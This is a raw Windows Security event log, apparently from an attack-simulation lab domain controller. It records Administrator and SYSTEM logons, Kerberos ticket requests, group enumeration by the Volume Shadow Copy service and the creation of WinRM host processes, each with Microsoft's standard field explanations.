Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252820
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178FF4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252819
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178FF4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252818
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252817
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252816
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252815
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252814
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252813
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252812
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252811
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x49c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x984
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Process Information:
	New Process ID:		0x984
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252809
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252808
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252807
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252806
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252805
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252804
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252803
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252802
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k swprv

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252801
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252800
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252799
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=252798
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x2e0
	Process Name:		C:\Windows\System32\VSSVC.exe
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252797
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\VSSVC.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\vssvc.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252795
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252794
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178292

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252793
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172333

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252792
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x172A45

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252791
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178292

Privileges:		SeSecurityPrivilege
